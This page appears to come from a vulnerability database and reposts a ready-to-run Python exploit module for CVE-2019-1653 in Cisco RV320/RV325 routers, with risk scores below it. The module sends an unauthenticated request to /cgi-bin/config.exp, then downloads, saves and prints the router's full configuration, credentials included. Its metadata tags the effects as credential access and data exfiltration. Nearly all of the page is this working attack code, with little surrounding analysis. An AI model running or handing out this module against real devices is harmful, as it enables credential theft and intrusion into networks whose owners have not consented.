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Cisco RV320 Config Leak (CVE-2019-1653)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
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Unauthenticated GET to /cgi-bin/config.exp in Cisco RV320/RV325 leaks router configuration.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Cisco RV320/RV325 config disclosure (CVE-2019-1653)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Cisco RV320 Config Leak (CVE-2019-1653)',
        'description': (
            'Exploits CVE-2019-1653 in Cisco RV320/RV325: unauthenticated GET to '
            '/cgi-bin/config.exp downloads the full router configuration including credentials.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2019-1653'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2019-1653'],
        'tags': ['cisco', 'router', 'vpn', 'credential-leak', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['credentials', 'file_read'],
            'chain': {'suggested_followups': ['scanner/http/cve_2019_1653_detect']},
        },
    }

    output_file = OptString('cisco_rv320_config.exp', 'Save config locally', required=False)

    def check(self):
        r = self.http_request(method='GET', path='/cgi-bin/config.exp', allow_redirects=False)
        body = (r.text or '') if r else ''
        if r and r.status_code == 200 and 'sysconfig' in body:
            return {'vulnerable': True, 'reason': 'Cisco RV320 config leak confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'config.exp not accessible', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('Cisco RV320/RV325 not vulnerable')
            return False
        r = self.http_request(method='GET', path='/cgi-bin/config.exp', allow_redirects=False)
        body = (r.text or '') if r else ''
        out = str(self.output_file or 'cisco_rv320_config.exp').strip()
        with open(out, 'w', encoding='utf-8', errors='replace') as fh:
            fh.write(body)
        print_success(f'Config saved to {out} ({len(body)} bytes)')
        print_status(body[:2000])
        return True

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05 Oct 2026 14:20Current
7.2High risk
Vulners AI Score7.2
CVSS 25
CVSS 3.17.5
CVSS 37.5
EPSS0.99876
SSVC
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